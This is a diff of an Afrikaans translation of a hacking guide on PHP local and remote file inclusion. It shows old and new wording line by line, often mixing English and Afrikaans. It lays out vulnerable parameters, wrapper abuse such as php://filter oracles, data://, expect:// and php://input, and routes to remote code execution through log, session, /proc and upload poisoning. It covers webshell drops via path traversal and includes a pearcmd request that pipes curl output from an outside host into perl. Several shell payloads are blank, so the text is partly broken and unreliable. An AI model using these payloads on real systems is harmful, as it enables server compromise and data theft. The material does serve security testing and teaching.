'n **gidslys teruggestuur word**. Dit sal nie in ander tale gebeur nie (sover ek weet). ## Top 25 parameters -Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir local file inclusion (LFI) (van [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Hier is 'n lys van top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir local file inc ?mod={payload} ?conf={payload} ``` -## LFI / RFI met PHP wrappers & protokolle +## LFI / RFI using PHP wrappers & protocols ### php://filter -PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters: +PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters) -- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het +- Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Transformeer na 'n ander enkodering (`convert.iconv..`). Om die **lys van alle kodings** wat ondersteun word te kry, voer in die konsole: `iconv -l` +- `convert.iconv.*` : Transformeer na 'n ander kodering (`convert.iconv..`). Om die **lys van alle koderinge** wat ondersteun word te kry, voer in die konsole uit: `iconv -l` > [!WARNING] -> Deur die `convert.iconv.*`-omsettingsfilter te misbruik kan jy **ewekansige teks genereer**, wat nuttig kan wees om ewekansige teks te skryf of om 'n funksie soos include te laat verwerk ewekansige teks. Vir meer inligting, sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Deur die `convert.iconv.*` konversiefilter te misbruik kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of 'n funksie soos include te laat verwerk arbitrêre teks. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting wil eksfilleer) -- `zlib.inflate`: Dekompresseer die data +- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) +- `zlib.inflate`: Decompress the data - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Deprecated -- `mdecrypt.*` : Deprecated -- Ander Filters -- As jy in PHP `var_dump(stream_get_filters());` uitvoer, kan jy 'n paar **onverwagte filters** vind: +- `mcrypt.*`: Verouderd +- `mdecrypt.*`: Verouderd +- Other Filters +- Deur in PHP `var_dump(stream_get_filters());` uit te voer kan jy 'n paar **onverwagte filters** vind: - `consumed` -- `dechunk`: keert HTTP chunked encoding om +- `dechunk`: reverses HTTP chunked encoding - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Die gedeelte "php://filter" is nie hoofletter-sensitief nie +> Die deel "php://filter" is case insensitive -### Using php filters as oracle to read arbitrary files +### Gebruik van php filters as oracle om arbitrêre lêers te lees -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitset deur die server teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters as oracle**. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak om php 'n exception te laat gooi. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die output terug van die server te kry. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n exception gooi. In die oorspronklike post vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n vinnige opsomming: -- Use the codec **`UCS-4LE`** om die voorste karakter van die teks aan die begin te laat en om die stringgrootte eksponensieel te laat toeneem. -- Hierdie sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraden word** dat php 'n **error** sal veroorsaak. +- Gebruik die codec **`UCS-4LE`** om die leidende karakter van die teks aan die begin te laat en om die grootte van die string eksponensieel te laat toeneem. +- Dit sal gebruik word om 'n **teks te genereer wat so groot is wanneer die aanvanklike letter korrek geraai word** dat php 'n **error** sal veroorsaak. - Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is. -- Dit, gekombineer met die vorige (en ander filters afhangende van die geraade letter), sal ons toelaat om 'n letter aan die beginning van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php error veroorsaak. -- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons hierdie codec 6 keer toepas a->b->c->d->e->f->g, is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en word die php error getrigger omdat dit met die aanvanklike bom vermenigvuldig. -- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif). +- Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php 'n error laat gooi. +- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter in die volgende een (so na hierdie codec: a -> b). Dit laat ons toe om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en die php error word getrigger omdat dit met die aanvanklike bom vermenigvuldig. +- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters in die hex-bereik te skuif). - Wanneer die aanvanklike char 'n nommer is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die nommer te leak. -- Die finale probleem is om te sien **hoe om meer te leak as die aanvanklike letter**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry. -- En om in staat te wees om **further data** te verkry is die idee om **2 bytes of junk data at the beginning** te genereer met **convert.iconv.UTF16.UTF16**, pas **UCS-4LE** toe om dit te laat **pivot met die volgende 2 bytes**, en **verwyder die data tot by die junk data** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te leak. +- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry. +- En om verder data te kan bekom, is die idee om **2 bytes junk data aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit **te pivot met die volgende 2 bytes**, en die data te **delete tot by die junk data** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy by die gewenste bit kom om te leak. In die post is 'n tool om dit outomaties uit te voer ook leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Hierdie wrapper laat toe om toegang tot file descriptors wat die proses oop het. Potensieel nuttig om die content van geopende files te exfiltrate: +Hierdie wrapper laat toe om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die inhoud van opened files te exfiltrate: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 and 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie) +Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om onderskeidelik toegang tot die **file descriptors 0, 1 and 2** te kry (nie seker hoe dit in 'n aanval nuttig kan wees nie) ### zip:// and rar:// -Laai 'n Zip of Rar-lêer op met 'n PHPShell daarin en kry daartoe toegang.\ -Om die rar-protokol te kan misbruik moet dit **spesifiek geaktiveer word**. +Laai 'n Zip of Rar-lêer met 'n PHPShell binne en kry toegang daartoe.\ +Om die rar-protokol te kan misbruik moet dit **spesifiek geaktiveer wees**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Let daarop dat hierdie protokol beperk is deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`** +Neem kennis dat hierdie protokol beperk word deur php-konfigurasies **`allow_url_open`** en **`allow_url_include`** ### expect:// -Expect moet geaktiveer wees. Jy kan kode hiermee uitvoer: +Expect moet geaktiveer wees. Jy kan code hiermee uitvoer: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Hierdie tegniek is relevant in gevalle waar jy die **control** oor die **file path** van 'n **PHP function** het wat 'n **access a file** sal uitvoer, maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**). +> Hierdie tegniek is relevant in gevalle waar jy die **lêerpad** van 'n **PHP-funksie** beheer wat 'n **lêer** sal aangryp, maar jy sien nie die inhoud van die lêer nie (soos 'n eenvoudige oproep na **`file()`**) omdat die inhoud nie vertoon word. -In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via 'n PHP filter misbruik kan word om die inhoud van 'n lêer via 'n error oracle te **exfiltrate**. -As opsomming gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n lêer so groot te maak dat die **PHP function opening** die lêer 'n fout sal veroorsaak. +In samevatting gebruik die tegniek die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak. -Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik tesame met ander soos **base64** of **rot13**, en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om ander chars aan die begin te plaas en hulle te leak. +Daarna, om die eerste karakter te leak, word die filter **`dechunk`** saam met ander soos **base64** of **rot13** gebruik en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **ander karakters aan die begin te plaas en hulle te leak**. **Funksies wat moontlik kwesbaar is**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Vir die tegniese besonderhede, kyk die genoemde post! +Vir die tegniese besonderhede, sien die genoemde post! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -Wanneer server-side kode wat lêers ingevoer/opgelaai kry die bestemmingspad bou met gebruikersbeheerde data (bv. 'n filename of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute paaie die bedoelde gids verlaat en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit. +Wanneer server-side kode wat lêers inlees/upload verwerk die bestemmingpad bou met gebruiker-beheerde data (bv. 'n filename of URL) sonder om dit te canonicaliseer en te valideer, kan `..` segments en absolute paths uit die beoogde gids ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell te drop. -Typical exploitation workflow: -- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.). +Tipiese uitbuitingstroom: +- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n pad/filename aanvaar en inhoud na die skyf skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.). - Bepaal web-exposed directories. Algemene voorbeelde: - - Apache/PHP: `/var/www/html/` - - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Skryf 'n traversal pad wat uit die bedoelde stoor-gids breek in die webroot, en sluit jou webshell-inhoud in. -- Blaai na die neergesette payload en voer opdragte uit. +- Apache/PHP: `/var/www/html/` +- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` +- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Stel 'n traversal path saam wat uit die beoogde stoor-gids uitbreek na die webroot, en sluit jou webshell inhoud in. +- Blaai na die dropped payload en voer opdragte uit. -Notas: -- Die kwetsbare diens wat die skryf uitvoer kan op 'n nie-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof webportaal (anders poort) sal later jou payload bedien. -- Op Java stacks word hierdie lêerskrywings dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout. +Nota: +- Die kwesbare diens wat die skryf uitvoer mag na 'n non-HTTP poort luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portal (verskillende poort) sal later jou payload bedien. +- Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout. -Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): +Generiese XML/JMF-styl voorbeeld (produk-skemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal): ```xml @@ -465,25 +466,26 @@ in.transferTo(out); ``` -Verharding wat hierdie klas foute neutraliseer: -- Los dit op na 'n kanoniese pad en dwing af dat dit 'n afstammeling is van 'n toegelate basismap. -- Verwerp enige pad wat `..`, absolute roots, of drive letters bevat; verkies gegenereerde lêernamme. -- Laat die writer loop as 'n laag-privilegieerde rekening en skei skryfgidse van geserveerde wortels. +Verharding wat hierdie klas foute teëwerk: +- Los op na 'n canonical path en dwing af dat dit 'n afstammeling van 'n allow-listed base directory is. +- Weier enige path wat `..`, absolute roots, of drive letters bevat; verkies gegenereerde filenames. +- Laat die writer loop as 'n laag-privilege rekening en skei write directories van served roots. ## Remote File Inclusion -Eerder verduidelik, [**follow this link**](#remote-file-inclusion). +Eerder verduidelik, [**volg hierdie skakel**](#remote-file-inclusion). ### Via Apache/Nginx log file -As die Apache- of Nginx-bediener **kwesbaar vir LFI** binne die include-funksie is, kan jy probeer toegang kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, 'n php shell soos **``** in die **user agent** of in 'n **GET parameter** plaas en daardie lêer include. +As die Apache of Nginx-bediener **vulnerable to LFI** binne die include-funksie is, kan jy probeer toegang kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, en in die **user agent** of in 'n **GET parameter** 'n php shell soos **``** plaas en daardie lêer include. > [!WARNING] -> Let wel dat **as jy dubbel quotes gebruik** vir die shell in plaas van **simple quotes**, sal die dubbel quotes verander word na die string "_**quote;**_", **PHP sal daar 'n fout gooi** en **niks anders sal uitgevoer word**. +> Let wel dat **as jy dubbele aanhalingstekens gebruik** vir die shell in plaas van **simple quotes**, die dubbele aanhalingstekens verander sal word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**. > -> Maak ook seker dat jy die **payload korrekt skryf** of PHP elke keer 'n fout sal gee wanneer dit probeer om die log file te laai en jy sal nie 'n tweede geleentheid hê nie. +> Maak ook seker dat jy die **payload korrek skryf** anders sal PHP elke keer 'n fout gee wanneer dit probeer die log-lêer laai en jy sal nie 'n tweede geleentheid hê nie. -Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingegooi word.\ Other possible log paths: +Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL encoded wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedekodeer. Die PHPShell kan in hierdie header ingesit word.\ +Ander moontlike log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -497,44 +499,44 @@ Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne d ``` Fuzzing woordlys: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) -### Deur e-pos +### Via E-pos **Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/`** of **`/var/spool/mail/`** -### Deur /proc/*/fd/* +### Via /proc/\*/fd/\* 1. Laai baie shells op (byvoorbeeld: 100) -2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, with $PID = PID van die proses (kan met brute force probeer word) en $FD die file descriptor (kan ook met brute force probeer word) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan deur brute force bepaal word) en $FD = die lêerbeskrywer (kan ook deur brute force bepaal word) -### Deur /proc/self/environ +### Via /proc/self/environ -Soos 'n loglêer, stuur die payload in die User-Agent; dit sal in die /proc/self/environ-lêer weerspieël word. +Soortgelyk aan 'n log-lêer: stuur die payload in die User-Agent; dit sal weerspieël word in die /proc/self/environ-lêer ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Deur oplaai +### Via upload -As jy 'n lêer kan oplaai, injekteer net die shell payload daarin (e.g : `` ). +As jy 'n lêer kan upload, inject net die shell payload daarin (bv: `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Om die lêer leesbaar te hou, is dit die beste om dit in die metagegewens van die beelde/doc/pdf in te voeg +Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van pictures/doc/pdf in te voeg -### Via ZIP-lêer oplaai +### Deur ZIP-lêer op te laai -Laai 'n ZIP-lêer op wat 'n PHP shell bevat (gekompresseer) en kry toegang: +Laai 'n ZIP-lêer op wat 'n saamgeperste PHP shell bevat en toegang: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Via PHP sessions +### Deur PHP-sessies -Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik. +Kontroleer of die webwerf PHP-sessies gebruik (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -In PHP word hierdie sessions gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers +In PHP word hierdie sessies gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -543,32 +545,32 @@ Stel die cookie in op `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Gebruik die LFI om die PHP-sessielêer in te sluit +Gebruik die LFI om die PHP-sessie-lêer in te sluit ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` -### Via ssh +### Deur ssh -Indien ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\/.ssh/id_rsa** +As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\/.ssh/id_rsa** -### **Via** **vsftpd** _**logs**_ +### **Deur** **vsftpd** _**loglêers**_ -Die logs vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word: +Die loglêers vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word: 1. Inspuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses. -2. Na inspuiting, gebruik die LFI om die bedienerlogs vanaf _**/var/log/vsftpd.log**_ te verkry. +2. Na inspuiting, gebruik die LFI om die bedienerloglêers van _**/var/log/vsftpd.log**_ te haal. -### Via php base64 filter (using base64) +### Deur php base64 filter (met base64) -Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, PHP base64 filter ignoreer nie-base64 karakters. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeld payload: +Soos in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel aangetoon, ignoreer die PHP base64-filter karakters wat nie base64 is nie. Jy kan dit gebruik om die kontrole op lênaansluitings te omseil: as jy base64 voorsien wat op ".php" eindig, sal die filter die "." eenvoudig ignoreer en "php" aan die base64 heg. Hier is 'n voorbeeldpayload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (geen lêer nodig) +### Via php filters (no file needed) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om ewekansige inhoud as output te genereer**. Dit beteken basies dat jy **ewekansige php-kode kan genereer** vir die include **sonder om dit in ’n lêer te skryf**. +Hierdie [**beskrywing** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters om ewekansige inhoud te genereer** kan gebruik as uitvoer. Dit beteken basies dat jy **ewekansige php code** vir die include kan **genereer sonder om dit in 'n lêer te skryf**. {{#ref}} @@ -577,7 +579,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Upload** 'n lêer wat as **tydelike** in `/tmp` gestoor sal word, dan in die **dieselfde request,** veroorsaak 'n **segmentation fault**, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarna soek. +**Laai 'n lêer op** wat as **tydelik** in `/tmp` gestoor sal word, dan in die **selfde versoek,** 'n **segmentation fault** veroorsaak, en dan sal die **tydelike lêer nie verwyder word nie** en jy kan daarvoor soek. {{#ref}} @@ -586,7 +588,7 @@ lfi2rce-via-segmentation-fault.md ### Via Nginx temp file storage -If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: +As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, mag jy met die volgende tegniek RCE kan bekom: {{#ref}} @@ -595,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: +As jy 'n **Local File Inclusion** gevind het, selfs as jy **nie 'n session het nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **session vir jou aktiveer**. Jy kan dit misbruik om RCE te kry: {{#ref}} @@ -604,7 +606,7 @@ via-php_session_upload_progress.md ### Via temp file uploads in Windows -If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE: +As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, mag jy RCE kry: {{#ref}} @@ -613,9 +615,9 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +Soos [**verduidelik in hierdie pos**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), die script `/usr/local/lib/phppearcmd.php` bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die script deur die URL te gee omdat aangedui word dat as 'n URL-param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -The following request create a file in `/tmp/hello.php` with the content ``: +Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` @@ -626,27 +628,27 @@ Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b allte Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Via phpinfo() (file_uploads = on) +### Deur phpinfo() (file_uploads = on) -As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar het met file_uploads = on, kan jy RCE kry: +As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar met file_uploads = on, kan jy RCE kry: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file BUT die **server** is **checking** if the **file to be included has PHP marks**, kan jy probeer om daardie kontrole te **bypass** met hierdie **Race Condition**: +As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** van die temp-lêer, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **bypass that check** met hierdie **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### Deur eternal waiting + bruteforce -As jy die LFI kan misbruik om **upload temporary files** en die server se PHP-uitvoering te laat **hang**, kan jy daarna **brute force filenames during hours** om die temporêre lêer te vind: +As jy die LFI kan misbruik om **upload temporary files** en die bediener die PHP-uitvoering laat **hang**, kan jy daarna ure lank **brute force filenames during hours** om die tydelike lêer te vind: {{#ref}} @@ -655,10 +657,10 @@ lfi2rce-via-eternal-waiting.md ### Na Fatal Error -If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error). +As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak). **Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\ -_Selfs as jy 'n PHP Fatal Error veroorsaak, word PHP temporêre lêers wat opgelaai is verwyder._ +_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
